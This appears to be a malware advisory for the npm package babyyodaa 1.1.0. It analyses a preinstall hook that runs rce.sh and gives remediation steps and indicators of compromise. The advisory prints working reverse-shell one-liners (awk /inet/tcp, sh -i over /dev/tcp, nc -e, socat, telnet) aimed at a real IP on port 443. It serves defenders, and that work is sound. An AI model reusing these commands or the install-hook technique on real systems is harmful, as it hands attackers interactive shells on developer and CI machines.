maliciousCovers 1.1.0Reviewed by BitbisonUpdated 2026-11-06
The preinstall script runs the bundled rce.sh, which connects to 202.164.16.13:443 and executes whatever commands arrive there as the installing user, trying awk, sh, nc, perl, php, python, socat and telnet in turn.
On September 27, 2021, babyyodaa 1.1.0 was published to npm as a "Hello World NPM example". It is the package's only version. Its preinstall script runs a bundled shell script, rce.sh, which opens a reverse shell to 202.164.16.13 on port 443. Whoever listens at that address gets a shell on the machine as the user running npm install. OSV lists the package as MAL-2026-18605. npm still serves it.
What the package does
Installing babyyodaa 1.1.0 (tarball sha256 8321ef8b36b40d9a5b5ba649e9ad4ec3bcbe18a9a484075c5e8e5e872ec0db0b) does this:
- Before anything else is installed, npm runs the package's
preinstall script, sh -c chmod +x rce.sh; ./rce.sh.
rce.sh starts awk 'BEGIN {s = "/inet/tcp/0/202.164.16.13/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null. That command opens a TCP connection to 202.164.16.13:443 through GNU awk's /inet/tcp special file and sends the prompt shell>. It executes each line it receives as a shell command and sends the output back.
- The awk process never exits on its own, so
npm install does not finish while it is running.
What the code does
The tarball holds seven files. Two of them do the work: package.json and rce.sh (sha256 80f9df548588a0575884342ea2f83278f2f51f728234efefc60fc65e027ff4ab, 13 lines).
package.json:35 sets "preinstall": "chmod +x rce.sh; ./rce.sh". npm runs it on every install, including installs where babyyodaa is pulled in as a dependency.
rce.sh:1–13 is a list of reverse shells, one per line, all pointing at 202.164.16.13:443. The file has no shebang, so sh runs it, one line after another. When one shell ends, or the tool it needs is missing, the next line tries another way in:
- Line 1 is the awk loop described above. It reads a command, runs it as a coprocess (
c |& getline) and writes the output to the socket. If the operator sends exit, it closes the connection, and while(42) opens a new one.
- Line 2 runs
sh -i with its input and output on bash's /dev/tcp/202.164.16.13/443, and line 3 does the same through file descriptor 196.
- Line 4 runs
nc -e /bin/sh 202.164.16.13 443. Line 5 removes /tmp/f, makes a named pipe there, and pipes /bin/sh -i through nc to the same address.
- Line 6 (Perl), lines 7–8 (PHP) and lines 9–10 (Python, with
pty.spawn("/bin/sh")) each connect a socket to 202.164.16.13:443 and hand it a shell. Line 9 sets its port variable to the IP address, so it cannot connect; line 10 can.
- Lines 11–12 use
socat. Line 12 gives the operator bash -li on a pseudo-terminal.
- Line 13 makes a named pipe
a in the package's directory and runs /bin/sh through telnet 202.164.16.13 443.
- Every one of these is plain TCP on port 443, not TLS, so commands and their output cross the network unencrypted.
- The rest of the package is an unrelated hello-world example.
lib/index.js:1–10 returns "Hello World NPM", and bin.js:1–5 prints it under the command name sheeesh (package.json:3–5). The readme, the author field and init.sh:1–7 belong to another project, hello-world-npm, and its GitHub author. package.json:14–20 still holds the npm dist block of a package called sheeesh 1.1.0, which suggests the files were copied from a package prepared under that name (npm has no package called sheeesh). Nothing in the package mentions a shell or a remote host.
The package was uploaded by the npm account bcanalyst. Whatever the publisher meant it for, rce.sh does more than report that it was installed. It gives the operator of 202.164.16.13 an interactive shell with the installing user's rights. On a developer machine or a CI runner, that is everything the user can read or run.
MAL-2026-18605 was published in the same OSV batch as gugodapis and @signals-notebook/annotation-editor. Nothing in babyyodaa names their code, hosts or accounts, and it works differently: an inline reverse shell rather than a downloaded payload or a request-bin probe. A link between the three cannot be shown from this package.
Timeline (UTC)
| When | What |
| 09/27/21 10:52:52 | babyyodaa 1.1.0 is published to npm, the package's only version |
| 11/02/26 09:44:21 | OSV publishes MAL-2026-18605, credited to Oluwatosin Amokeodo |
If you installed it
Treat the machine as compromised: anyone at 202.164.16.13 could have run commands as the installing user.
- Stop any process connected to 202.164.16.13: the
awk above, sh -i, nc, socat, perl, php, python or telnet.
- Remove
node_modules/babyyodaa, /tmp/f and the named pipe a in the package's directory.
- Block 202.164.16.13 and search firewall and proxy logs for connections to it on port 443.
- Rotate every credential the user or the CI runner could read.
- Check for anything the operator could have left behind: crontabs, shell profiles,
~/.ssh/authorized_keys, systemd user units.
Indicators
- hosts
202.164.16.13- requests
TCP 202.164.16.13:443, prompt `shell>` sent on connect- files
rce.sh (sha256 80f9df548588a0575884342ea2f83278f2f51f728234efefc60fc65e027ff4ab)/tmp/f (named pipe)node_modules/babyyodaa/a (named pipe)- ports
443/tcp (plain, not TLS)- processes
sh -c chmod +x rce.sh; ./rce.shawk 'BEGIN {s = "/inet/tcp/0/202.164.16.13/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/nullsh -i >& /dev/tcp/202.164.16.13/443 0>&1nc -e /bin/sh 202.164.16.13 443socat TCP:202.164.16.13:443 EXEC:shtelnet 202.164.16.13 443- scripts
preinstall: chmod +x rce.sh; ./rce.sh
Examined
- 1.1.0
sha256:8321ef8b36b40d9a5b5ba649e9ad4ec3bcbe18a9a484075c5e8e5e872ec0db0b
Links